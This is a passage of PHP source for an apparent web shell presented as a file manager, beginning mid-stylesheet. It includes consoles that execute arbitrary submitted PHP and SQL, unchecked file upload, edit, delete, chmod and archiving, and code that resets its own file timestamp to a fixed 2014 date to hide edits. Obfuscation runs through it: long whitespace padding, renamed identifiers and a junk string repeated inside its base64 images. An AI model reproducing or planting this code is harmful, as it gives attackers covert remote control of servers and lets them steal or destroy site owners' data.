872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwTMbfmHPCmzfK437cozMcXvXbBfZmW4xkhWDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTMbfmHPCmzfK437cozMcXvXbBfZmW4xkhWVTyDWwsg+DVZR9YNTMbfmHPCmzfK437cozMcXvXbBfZmW4xkhWamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");

}
                         

                                                                            
.file {
                          
    background-image: url("data:image/png;base64,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");

}
<?=fm_home_style()?>
.img {
                                                  
	                 background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTMbfmHPCmzfK437cozMcXvXbBfZmW4xkhWrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTMbfmHPCmzfK437cozMcXvXbBfZmW4xkhWc8MAAAAASUVORK5CYII=");

}

@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}

    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}

    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
                                                      
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
                                             
	                 #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
                                                                                 
	                 #header_table table td {display:inline;float:left;}

}

</style>

</head>
<body>
                                     
<?php
$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){

	                 $res = empty($_POST['sql']) ? '' : $_POST['sql'];
                                                                                        
	                 $res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	                 $res = empty($_POST['php']) ? '' : $_POST['php'];
                                      
	                 $res_lng = 'php';

} 
if (isset($_GET['fm_settings'])) {
                                                                                      
	                 echo ' 

<table class="whole">
                                                                                  
<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>

'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
                                                                                                  
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'

'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'

'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
                          
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'

'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
                                                                                             
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
                                            
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'

<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
                                       
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>

'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'

'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'

'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
                                                                                             
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>

</table>
                                                              
<table>

<form method="post" action="">

<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>

<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
                                                                                          
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>

<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
                     
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>

</table>';
                                                                          
echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {

	                 die($proxy_form);
} elseif (isset($res_lng)) {	                 

?>
<table class="whole">
<tr>
                                                                                              
    <th><?=__('File manager').' - '.$path?></th>

</tr>
                                                                                   
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php

	                 if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	                 else echo '</h2></td><td>'.fm_run_input('sql');

	                 ?></td></tr></table></td>
</tr>
<tr>

    <td class="row1">

	                 	                 <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
	                 	                 <form action="" method="POST" name="console">

	                 	                 <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

	                 	                 <input type="reset" value="<?=__('Reset')?>">

	                 	                 <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';

if (!empty($tmpl)){
                        
	                 $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	                 $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
                      
	                 $select .= '<option value="-1">' . __('Select') . "</option>\n";
                                  
	                 foreach ($tmpl as $key=>$value){

	                 	                 $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	                 }

	                 $select .= "</select>\n";
	                 echo $select;
                                                        
}

?>

	                 	                 </form>
                                                                                                    
	                 </td>

</tr>
</table>

<?php

	                 if (!empty($res)) {

	                 	                 $fun='fm_'.$res_lng;
                                                                               
	                 	                 echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';

	                 }

} elseif (!empty($_REQUEST['edit'])){
	                 if(!empty($_REQUEST['save'])) {

	                 	                 $fn = $path . $_REQUEST['edit'];
                                                                   
	                 	                 $filemtime = filemtime($fn);
	                     if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
                                                                             
	                 	                 else $msg .= __('Error occurred');
                                   
	                 	                 if ($_GET['edit']==basename(__FILE__)) {

	                 	                 	                 touch(__FILE__,1415116371);
	                 	                 } else {
                                          
	                 	                 	                 if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
	                 	                 }

	                 }

    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);

    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;

    $backlink = $url_inc . '&path=' . $path;
?>

<table border='0' cellspacing='0' cellpadding='1' width="100%">

<tr>

    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>

</tr>
<tr>

    <td class="row1">
        <?=$msg?>

	                 </td>

</tr>

<tr>

    <td class="row1">
                                                     
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	                 </td>
                                                                               
</tr>
                                                                                         
<tr>

    <td class="row1" align="center">
                                                                                            
        <form name="form1" method="post" action="<?=$editlink?>">

            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
                                                                              
            <input type="submit" name="save" value="<?=__('Submit')?>">
                                                                                     
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
                              
    </td>

</tr>

</table>
                                                                                         
<?php

echo $auth['script'];
                          
} elseif(!empty($_REQUEST['rights'])){
	                 if(!empty($_REQUEST['save'])) {
	                     if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))

	                 	                 $msg .= (__('File updated')); 
                                     
	                 	                 else $msg .= (__('Error occurred'));

	                 }

	                 clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;

    $backlink = $url_inc . '&path=' . $path;
                                                                                       
?>

<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>

    <td class="row1">
        <?=$msg?>
                                                          
	                 </td>




</tr>

<tr>

    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>

	                 </td>

</tr>

<tr>
    <td class="row1" align="center">

        <form name="form1" method="post" action="<?=$link?>">

           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>

            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>

</tr>

</table>

<?php
                                                                                             
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {

	                 if(!empty($_REQUEST['save'])) {
                                                                                     
	                     rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);

	                 	                 $msg .= (__('File updated'));

	                 	                 $_REQUEST['rename'] = $_REQUEST['newname'];

	                 }

	                 clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
                        
    $backlink = $url_inc . '&path=' . $path;



?>
<table class="whole">
<tr>

    <th><?=__('File manager').' - '.$path?></th>

</tr>
                                                                                                  
<tr>
    <td class="row1">

        <?=$msg?>

	                 </td>
                                                                                                   
</tr>
<tr>
    <td class="row1">

        <a href="<?=$backlink?>"><?=__('Back')?></a>
                                                                                               
	                 </td>

</tr>
                                         
<tr>

    <td class="row1" align="center">

        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>

            <input type="submit" name="save" value="<?=__('Submit')?>">

        </form>
                                             
    </td>

</tr>

</table>
                                                                                         
<?php

} else {
                                                        
//Let's rock!
    $msg = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
                                                                  
        if(!empty($_FILES['upload']['name'])){

            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
                                         
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');

            } else {

	                 	                 	                 	                 $msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
                                                                                     
	                 	                 	                 }
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
                                                                              
        if(!fm_del_conjuntoArchivos(($path . $_REQUEST['delete']), true)) {
                                                                            
            $msg .= __('Error occurred');
        } else {
                                                                                                 
	                 	                 	                 $msg .= __('Deleted').' '.$_REQUEST['delete'];

	                 	                 }

	                 } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {

        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                                
            $msg .= __('Error occurred');

        } else {

	                 	                 	                 $msg .= __('Created').' '.$_REQUEST['dirname'];
	                 	                 }

    } elseif(!empty($_POST['search_recursive'])) {

	                 	                 ini_set('max_execution_time', '0');
                                                                               
	                 	                 $search_data =  find_text_in_conjuntoArchivos($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
                                                                                    
	                 	                 if(!empty($search_data)) {

	                 	                 	                 $msg .= __('Found in conjuntoArchivos').' ('.count($search_data).'):<br>';

	                 	                 	                 foreach ($search_data as $filename) {

	                 	                 	                 	                 $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

	                 	                 	                 }
                             
	                 	                 } else {
	                 	                 	                 $msg .= __('Nothing founded');
	                 	                 }	                 

	                 } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
                                                                         
            $msg .= __('Error occurred');
        } else {
                                                                                            
	                 	                 	                 fclose($fp);

	                 	                 	                 $msg .= __('Created').' '.$_REQUEST['filename'];
                                                                          
	                 	                 }
    } elseif (isset($_GET['zip'])) {
                                                                
	                 	                 $source = base64_decode($_GET['zip']);

	                 	                 $destination = basename($source).'.zip';
	                 	                 set_time_limit(0);

	                 	                 $phar = new PharData($destination);
	                 	                 $phar->buildFromDirectory($source);
                                                                                             
	                 	                 if (is_file($destination))
                        
	                 	                 $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
                                                                 
	                 	                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
	                 	                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

	                 	                 else $msg .= __('Error occurred').': '.__('no conjuntoArchivos');
	                 } elseif (isset($_GET['gz'])) {

	                 	                 $source = base64_decode($_GET['gz']);
	                 	                 $archive = $source.'.tar';
                             
	                 	                 $destination = basename($source).'.tar';
                                                          
	                 	                 if (is_file($archive)) unlink($archive);
                                                                        
	                 	                 if (is_file($archive.'.gz')) unlink($archive.'.gz');

	                 	                 clearstatcache();

	                 	                 set_time_limit(0);
	                 	                 //die();
                                                                                                    
	                 	                 $phar = new PharData($destination);
	                 	                 $phar->buildFromDirectory($source);
                                                            
	                 	                 $phar->compress(Phar::GZ,'.tar.gz');

	                 	                 unset($phar);
                                                                                           
	                 	                 if (is_file($archive)) {

	                 	                 	                 if (is_file($archive.'.gz')) {

	                 	                 	                 	                 unlink($archive); 

	                 	                 	                 	                 $destination .= '.gz';
	                 	                 	                 }
                                                           

                                                                                          
	                 	                 	                 $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
	                 	                 	                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

	                 	                 	                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

	                 	                 } else $msg .= __('Error occurred').': '.__('no conjuntoArchivos');
                                                                  
	                 } elseif (isset($_GET['decompress'])) {
	                 	                 // $source = base64_decode($_GET['decompress']);
                                                                                      
	                 	                 // $destination = basename($source);

	                 	                 // $ext = end(explode(".", $destination));
	                 	                 // if ($ext=='zip' OR $ext=='gz') {

	                 	                 	                 // $phar = new PharData($source);

	                 	                 	                 // $phar->decompress();
                     
	                 	                 	                 // $base_file = str_replace('.'.$ext,'',$destination);

	                 	                 	                 // $ext = end(explode(".", $base_file));

	                 	                 	                 // if ($ext=='tar'){

	                 	                 	                 	                 // $phar = new PharData($base_file);
                                
	                 	                 	                 	                 // $phar->extractTo(dir($source));

	                 	                 	                 // }
                                                                     
	                 	                 // } 

	                 	                 // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	                 } elseif (isset($_GET['gzfile'])) {
                         
	                 	                 $source = base64_decode($_GET['gzfile']);
                                                        
	                 	                 $archive = $source.'.tar';
                           
	                 	                 $destination = basename($source).'.tar';
	                 	                 if (is_file($archive)) unlink($archive);
                                             
	                 	                 if (is_file($archive.'.gz')) unlink($archive.'.gz');
                              
	                 	                 set_time_limit(0);

	                 	                 //echo $destination;
                                                             
	                 	                 $ext_arr = explode('.',basename($source));

	                 	                 if (isset($ext_arr[1])) {
                                        
	                 	                 	                 unset($ext_arr[0]);
                                                                                   
	                 	                 	                 $ext=implode('.',$ext_arr);

	                 	                 } 
	                 	                 $phar = new PharData($destination);

	                 	                 $phar->addFile($source);

	                 	                 $phar->compress(Phar::GZ,$ext.'.tar.gz');

	                 	                 unset($phar);
                                                                                  
	                 	                 if (is_file($archive)) {

	                 	                 	                 if (is_file($archive.'.gz')) {

	                 	                 	                 	                 unlink($archive); 

	                 	                 	                 	                 $destination .= '.gz';
	                 	                 	                 }

	                 	                 	                 $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
                                                       
	                 	                 	                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

	                 	                 	                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
                                                                  
	                 	                 } else $msg .= __('Error occurred').': '.__('no conjuntoArchivos');
	                 }
?>
<table class="whole" id="header_table" >

<tr>

    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>

<?php if(!empty($msg)){ ?>
<tr>

	                 <td colspan="2" class="row2"><?=$msg?></td>
                                                                         
</tr>

<?php } ?>

<tr>

    <td class="row2">
                              
	                 	                 <table>

	                 	                 	                 <tr>

	                 	                 	                 <td>

	                 	                 	                 	                 <?=fm_home()?>

	                 	                 	                 </td>
                                                                                                 
	                 	                 	                 <td>

	                 	                 	                 <?php if(!empty($fm_config['make_directory'])) { ?>
	                 	                 	                 	                 <form method="post" action="<?=$url_inc?>">
                                                                              
	                 	                 	                 	                 <input type="hidden" name="path" value="<?=$path?>" />
	                 	                 	                 	                 <input type="text" name="dirname" size="15">
	                 	                 	                 	                 <input type="submit" name="mkdir" value="<?=__('Make directory')?>">
                                                                   
	                 	                 	                 	                 </form>
                                                 
	                 	                 	                 <?php } ?>
                                                                                           
	                 	                 	                 </td>
	                 	                 	                 <td>

	                 	                 	                 <?php if(!empty($fm_config['new_file'])) { ?>
	                 	                 	                 	                 <form method="post" action="<?=$url_inc?>">

	                 	                 	                 	                 <input type="hidden" name="path"     value="<?=$path?>" />

	                 	                 	                 	                 <input type="text"   name="filename" size="15">
	                 	                 	                 	                 <input type="submit" name="mkfile"   value="<?=__('New file')?>">

	                 	                 	                 	                 </form>
